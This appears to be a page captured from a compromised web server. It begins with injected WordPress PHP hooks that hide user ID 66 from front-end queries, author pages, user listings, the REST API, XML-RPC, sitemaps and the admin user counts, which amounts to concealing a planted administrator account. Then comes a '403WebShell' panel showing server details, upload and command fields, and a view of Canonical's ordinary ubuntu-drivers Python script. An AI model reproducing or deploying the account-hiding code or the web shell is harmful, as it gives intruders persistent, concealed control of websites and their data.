add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/bin/ubuntu-drivers
#! /usr/bin/python3

'''Driver package query/installation tool for Ubuntu'''

# (C) 2012 Canonical Ltd.
# Author: Martin Pitt <martin.pitt@ubuntu.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.

import click
import subprocess
import fnmatch
import sys
import os
import logging
import apt_pkg

from functools import cmp_to_key
import UbuntuDrivers.detect

sys_path = os.environ.get('UBUNTU_DRIVERS_SYS_DIR')

# Make sure that the PATH environment variable is set
# See LP: #1854472
if not os.environ.get('PATH'):
    os.environ['PATH'] = '/sbin:/usr/sbin:/bin:/usr/bin'

logger = logging.getLogger()
logger.setLevel(logging.WARNING)

CONTEXT_SETTINGS = dict(help_option_names=['-h', '--help'])

class Config(object):
    def __init__(self):
        self.gpgpu = False
        self.free_only = False
        self.package_list = ''
        self.install_oem_meta = True
        self.driver_string = ''
        self.include_dkms = False
        self.recommended = False

pass_config = click.make_pass_decorator(Config, ensure=True)

def command_list(args):
    '''Show all driver packages which apply to the current system.'''
    apt_pkg.init_config()
    apt_pkg.init_system()

    try:
        cache = apt_pkg.Cache(None)
    except Exception as ex:
        print(ex)
        return 1

    packages = UbuntuDrivers.detect.system_driver_packages(apt_cache=cache,
        sys_path=sys_path, freeonly=args.free_only, include_oem=args.install_oem_meta)

    for package in packages:
        try:
            linux_modules = UbuntuDrivers.detect.get_linux_modules_metapackage(cache, package)
            if (not linux_modules and package.find('dkms') != -1):
                linux_modules = package

            if linux_modules:
                print('%s, (kernel modules provided by %s)' % (package, linux_modules))
            else:
                print(package)
        except KeyError:
            print(package)

    return 0

def command_list_oem(args):
    '''Show all OEM enablement packages which apply to this system'''

    if not args.install_oem_meta:
        return 0

    apt_pkg.init_config()
    apt_pkg.init_system()

    try:
        cache = apt_pkg.Cache(None)
    except Exception as ex:
        print(ex)
        return 1

    packages = UbuntuDrivers.detect.system_device_specific_metapackages(
        apt_cache=cache, sys_path=sys_path, include_oem=args.install_oem_meta)

    if packages:
        print('\n'.join(packages))

        if args.package_list:
            with open(args.package_list, 'a') as f:
                f.write('\n'.join(packages))
                f.write('\n')

    return 0

def list_gpgpu(args):
    '''Show all GPGPU driver packages which apply to the current system.'''
    found = False
    apt_pkg.init_config()
    apt_pkg.init_system()

    try:
        cache = apt_pkg.Cache(None)
    except Exception as ex:
        print(ex)
        return 1

    packages = UbuntuDrivers.detect.system_gpgpu_driver_packages(cache, sys_path)
    for package in packages:
        candidate = packages[package]['metapackage']
        if candidate:
            print('%s, (kernel modules provided by %s)' % (candidate, UbuntuDrivers.detect.get_linux_modules_metapackage(cache, candidate)))

    return 0

def command_devices(args):
    '''Show all devices which need drivers, and which packages apply to them.'''
    apt_pkg.init_config()
    apt_pkg.init_system()

    try:
        cache = apt_pkg.Cache(None)
    except Exception as ex:
        print(ex)
        return 1

    drivers = UbuntuDrivers.detect.system_device_drivers(
        apt_cache=cache, sys_path=sys_path, freeonly=args.free_only)
    for device, info in drivers.items():
        print('== %s ==' % device)
        for k, v in info.items():
            if k == 'drivers':
                continue
            print('%-9s: %s' % (k, v))

        for pkg, pkginfo in info['drivers'].items():
            info_str = ''
            if pkginfo['from_distro']:
                info_str += ' distro'
            else:
                info_str += ' third-party'
            if pkginfo['free']:
                info_str += ' free'
            else:
                info_str += ' non-free'
            if pkginfo.get('builtin'):
                info_str += ' builtin'
            if pkginfo.get('recommended'):
                info_str += ' recommended'
            print('%-9s: %s -%s' % ('driver', pkg, info_str))
        print('')

def command_install(args):
    '''Install drivers that are appropriate for your hardware.'''
    apt_pkg.init_config()
    apt_pkg.init_system()

    try:
        cache = apt_pkg.Cache(None)
    except Exception as ex:
        print(ex)
        return 1

    with_nvidia_kms = False
    is_nvidia = False

    to_install = UbuntuDrivers.detect.get_desktop_package_list(cache, sys_path,
        free_only=args.free_only, include_oem=args.install_oem_meta,
        driver_string=args.driver_string, include_dkms=args.include_dkms)

    if not to_install:
        print('All the available drivers are already installed.')
        return

    for package in to_install:
        if 'nvidia' in package:
            is_nvidia = True
            break

    if is_nvidia:
        UbuntuDrivers.detect.nvidia_desktop_pre_installation_hook(to_install)

    ret = subprocess.call(['apt-get', 'install', '-o',
        'DPkg::options::=--force-confnew', '-y'] + to_install)

    oem_meta_to_install = fnmatch.filter(to_install, 'oem-*-meta')

    # create package list
    if ret == 0 and args.package_list:
        with open(args.package_list, 'a') as f:
            f.write('\n'.join(to_install))
            f.write('\n')
            f.close()
    elif ret != 0:
        return ret

    for package_to_install in oem_meta_to_install:
        sources_list_path = os.path.join(os.path.sep,
                                         'etc',
                                         'apt',
                                         'sources.list.d',
                                         F'{package_to_install}.list')

        update_ret = subprocess.call(['apt',
                                      '-o', F'Dir::Etc::SourceList={sources_list_path}',
                                      '-o', 'Dir::Etc::SourceParts=/dev/null',
                                      '--no-list-cleanup',
                                      'update'])

        if update_ret != 0:
            return update_ret

    if is_nvidia:
        UbuntuDrivers.detect.nvidia_desktop_post_installation_hook()

    # All updates completed successfully, now let's upgrade the packages
    if oem_meta_to_install:
        ret = subprocess.call(['apt',
                               'install',
                               '-o', 'DPkg::Options::=--force-confnew',
                               '-y'] + oem_meta_to_install)

    return ret

def command_autoinstall(args):
    '''Install drivers that are appropriate for automatic installation. [DEPRECATED]'''
    return command_install(args)

def install_gpgpu(args):
    '''Install GPGPU drivers that are appropriate for your hardware.'''
    candidate = ''
    if args.driver_string:
        # Just one driver
        # e.g. --gpgpu 390
        #      --gpgpu nvidia:390
        #
        # Or Multiple drivers
        # e.g. --gpgpu nvidia:390,amdgpu
        not_found_exit_status = 1
    else:
        # No args, just --gpgpu
        not_found_exit_status = 0

    apt_pkg.init_config()
    apt_pkg.init_system()

    try:
        cache = apt_pkg.Cache(None)
    except Exception as ex:
        print(ex)
        return 1

    packages = UbuntuDrivers.detect.system_gpgpu_driver_packages(cache, sys_path)
    packages = UbuntuDrivers.detect.gpgpu_install_filter(packages, args.driver_string, get_recommended=False)
    if not packages:
        print('No drivers found for installation.')
        return not_found_exit_status

    # ignore packages which are already installed
    to_install = []
    for p, _ in sorted(packages.items(),
                       key=cmp_to_key(lambda left, right:
                                      UbuntuDrivers.detect._cmp_gfx_alternatives_gpgpu(left[0], right[0])),
                       reverse=True):
        # Do not add more than one nvidia-driver-* (or associated packages) to to_install
        if p.startswith("nvidia-driver-"):
            if any(pkg.startswith("nvidia-driver-") for pkg in to_install):
                continue

        candidate = packages[p].get('metapackage')
        if candidate and not cache[candidate].current_ver:
            to_install.append(p)
            to_install.append(candidate)
        print(candidate)

        if candidate:
            # Add the matching linux modules package
            modules_package = UbuntuDrivers.detect.get_linux_modules_metapackage(cache, p)
            print(modules_package)
            if modules_package and not cache[modules_package].current_ver:
                if not args.include_dkms and "dkms" in modules_package:
                    to_install.remove(p)
                    to_install.remove(candidate)
                    continue
                to_install.remove(p)
                to_install.append(modules_package)

                lrm_meta = UbuntuDrivers.detect.get_userspace_lrm_meta(cache, p)
                if lrm_meta and not cache[lrm_meta].current_ver:
                    # Add the lrm meta and drop the non lrm one
                    to_install.append(lrm_meta)
                    to_install.remove(p)
                break

    if not to_install:
        print('All the available drivers are already installed.')
        return 0

    ret = subprocess.call(['apt-get', 'install', '-o',
        'DPkg::options::=--force-confnew',
        '--no-install-recommends', '-y'] + to_install)

    # create package list
    if ret == 0 and args.package_list:
        with open(args.package_list, 'a') as f:
            f.write('\n'.join(to_install))
            f.write('\n')

    return ret

def command_debug(args):
    '''Print all available information and debug data about drivers.'''

    logger = logging.basicConfig(level=logging.DEBUG, stream=sys.stdout)

    print('=== log messages from detection ===')
    aliases = UbuntuDrivers.detect.system_modaliases()

    apt_pkg.init_config()
    apt_pkg.init_system()

    try:
        cache = apt_pkg.Cache(None)
    except Exception as ex:
        print(ex)
        return 1

    depcache = apt_pkg.DepCache(cache)
    packages = UbuntuDrivers.detect.system_driver_packages(
        cache, sys_path, freeonly=args.free_only, include_oem=args.install_oem_meta)
    auto_packages = UbuntuDrivers.detect.auto_install_filter(packages)

    print('=== modaliases in the system ===')
    for alias in aliases:
        print(alias)

    print('=== matching driver packages ===')
    for package, info in packages.items():
        p = cache[package]
        try:
            inst = p.current_ver.ver_str
        except AttributeError:
            inst = '<none>'
        try:
            package_candidate = depcache.get_candidate_ver(p)
            cand = package_candidate.ver_str
        except AttributeError:
            cand = '<none>'
        if package in auto_packages:
            auto = ' (auto-install)'
        else:
            auto = ''

        support = info.get('support')

        info_str = ''
        if info['from_distro']:
            info_str += '  [distro]'
        else:
            info_str += '  [third party]'
        if info['free']:
            info_str += '  free'
        else:
            info_str += '  non-free'
        if 'modalias' in info:
            info_str += '  modalias: ' + info['modalias']
        if 'syspath' in info:
            info_str += '  path: ' + info['syspath']
        if 'vendor' in info:
            info_str += '  vendor: ' + info['vendor']
        if 'model' in info:
            info_str += '  model: ' + info['model']
        if support:
            info_str += '  support level: ' + info['support']

        print('%s: installed: %s   available: %s%s%s ' % (package, inst, cand, auto,  info_str))

#
# main
#


@click.group(context_settings=CONTEXT_SETTINGS)
@click.option('--gpgpu', is_flag=True, help='Install “general-purpose computing” drivers for use in a headless server environment. This installs a server (ERD) flavor of the driver (which is required for compatibility with some server applications, such as nvidia-fabricmanager), and also results in a smaller installation footprint by not installing packages that are only useful in graphical environments.')
@click.option('--free-only', is_flag=True, help='Only consider free packages')
@click.option('--package-list', nargs=1, metavar='PATH', help='Create file with list of installed packages (in install mode)')
@click.option('--no-oem', is_flag=True, default=False, show_default=True, metavar='install_oem_meta', help='Do not include OEM enablement packages (these enable an external archive)')
@pass_config
def greet(config, gpgpu, free_only, package_list, no_oem, **kwargs):
    if gpgpu:
        click.echo('This is gpgpu mode')
        config.gpu = True
    if free_only:
        config.free_only = True
    if package_list:
        config.package_list = package_list
    if no_oem:
        config.install_oem_meta = False

@greet.command()
@click.argument('driver', nargs=-1)  # add the name argument
@click.option('--gpgpu', is_flag=True, help='Install “general-purpose computing” drivers for use in a headless server environment. This installs a server (ERD) flavor of the driver (which is required for compatibility with some server applications, such as nvidia-fabricmanager), and also results in a smaller installation footprint by not installing packages that are only useful in graphical environments.')
@click.option('--recommended', is_flag=True, help='Only show the recommended driver packages')
@click.option('--free-only', is_flag=True, help='Only consider free packages')
@click.option('--package-list', nargs=1, metavar='PATH', help='Create file with list of installed packages (in install mode)')
@click.option('--no-oem', is_flag=True, metavar='install_oem_meta', help='Do not include OEM enablement packages (these enable an external archive)')
@click.option('--include-dkms', is_flag=True, help='Also consider DKMS packages')
@pass_config
def install(config, **kwargs):
    '''Install a driver [driver[:version][,driver[:version]]]'''

    # Require root
    if os.geteuid() != 0:
        print("Error: 'ubuntu-drivers install' must be run as root. Try using 'sudo'.", file=sys.stderr)
        sys.exit(1)


    if kwargs.get('gpgpu'):
        config.gpgpu = True
    if kwargs.get('free_only'):
        config.free_only = True
    if kwargs.get("include_dkms"):
        config.include_dkms = True

    # if kwargs.get('package_list'):
    #     config.package_list = kwargs.get('package_list')
    if kwargs.get('package_list'):
        config.package_list = ''.join(kwargs.get('package_list'))
    if kwargs.get('no_oem'):
        config.install_oem_meta = False

    if kwargs.get('driver'):
        config.driver_string = ''.join(kwargs.get('driver'))

    if config.gpgpu:
        install_gpgpu(config)
    else:
        command_install(config)

@greet.command()
@click.argument('driver', nargs=-1)  # add the name argument
@pass_config
def autoinstall(config, **kwargs):
    '''Deprecated, please use "install" instead'''
    #print('install, {0}'.format(kwargs['driver']))

    # Require root
    if os.geteuid() != 0:
        print("Error: 'ubuntu-drivers autoinstall' must be run as root. Try using 'sudo'.", file=sys.stderr)
        sys.exit(1)

    if kwargs.get('free_only'):
        config.free_only = True
    # if kwargs.get('package_list'):
    #     config.package_list = kwargs.get('package_list')
    if kwargs.get('package_list'):
        config.package_list = ''.join(kwargs.get('package_list'))

    if kwargs.get('driver'):
        config.driver_string = ''.join(kwargs.get('driver'))

    command_install(config)

@greet.command()
@click.argument('list', nargs=-1)
@click.option('--gpgpu', is_flag=True, help='Install “general-purpose computing” drivers for use in a headless server environment. This installs a server (ERD) flavor of the driver (which is required for compatibility with some server applications, such as nvidia-fabricmanager), and also results in a smaller installation footprint by not installing packages that are only useful in graphical environments.')
@click.option('--recommended', is_flag=True, help='Only show the recommended driver packages')
@click.option('--free-only', is_flag=True, help='Only consider free packages')
@click.option('--include-dkms', is_flag=True, help='Also consider DKMS packages')
@pass_config
def list(config, **kwargs):
    '''Show all driver packages which apply to the current system.'''
    apt_pkg.init_config()
    apt_pkg.init_system()
    include_dkms = kwargs.get("include_dkms")

    try:
        cache = apt_pkg.Cache(None)
    except Exception as ex:
        print(ex)
        return 1

    if kwargs.get('gpgpu'):
        packages = UbuntuDrivers.detect.system_gpgpu_driver_packages(cache, sys_path)
        sort_func = UbuntuDrivers.detect._cmp_gfx_alternatives_gpgpu
    else:
        packages = UbuntuDrivers.detect.system_driver_packages(apt_cache=cache,
            sys_path=sys_path, freeonly=config.free_only, include_oem=config.install_oem_meta)
        sort_func = UbuntuDrivers.detect._cmp_gfx_alternatives

    for package, info in sorted(packages.items(), key=cmp_to_key(lambda left, right: sort_func(left[0], right[0])), reverse=True):
        try:
            linux_modules = UbuntuDrivers.detect.get_linux_modules_metapackage(cache, package)
            if (not linux_modules and "dkms" in package and include_dkms):
                linux_modules = package

            if linux_modules:
                if not include_dkms and "dkms" in linux_modules:
                    continue
                if kwargs.get('recommended'):
                    # This is just a space separated two item line
                    # Such as "nvidia-headless-no-dkms-470-server linux-modules-nvidia-470-server-generic"
                    print('%s %s' % (package, linux_modules))
                    break
                else:
                    print('%s, (kernel modules provided by %s)' % (package, linux_modules))
            else:
                print(package)
        except KeyError:
            print(package)

    return 0

@greet.command()
@click.argument('list-oem', nargs=-1)
@click.option('--package-list', nargs=1, metavar='PATH', help='Create file with a list of the available packages')
@pass_config
def list_oem(config, **kwargs):
    '''Show all OEM enablement packages which apply to this system'''
    if kwargs.get('package_list'):
        config.package_list = ''.join(kwargs.get('package_list'))

    command_list_oem(config)

@greet.command()
@click.argument('debug', nargs=-1)  # add the name argument
@pass_config
def debug(config, **kwargs):
    '''Print all available information and debug data about drivers.'''
    command_debug(config)

@greet.command()
@click.argument('devices', nargs=-1)  # add the name argument
@click.option('--free-only', is_flag=True, help='Only consider free packages')
@pass_config
def devices(config, **kwargs):
    '''Show all devices which need drivers, and which packages apply to them.'''
    if kwargs.get('free_only'):
        config.free_only = True
    command_devices(config)


if __name__ == '__main__':
    greet()

Youez - 2016 - github.com/yon3zu
LinuXploit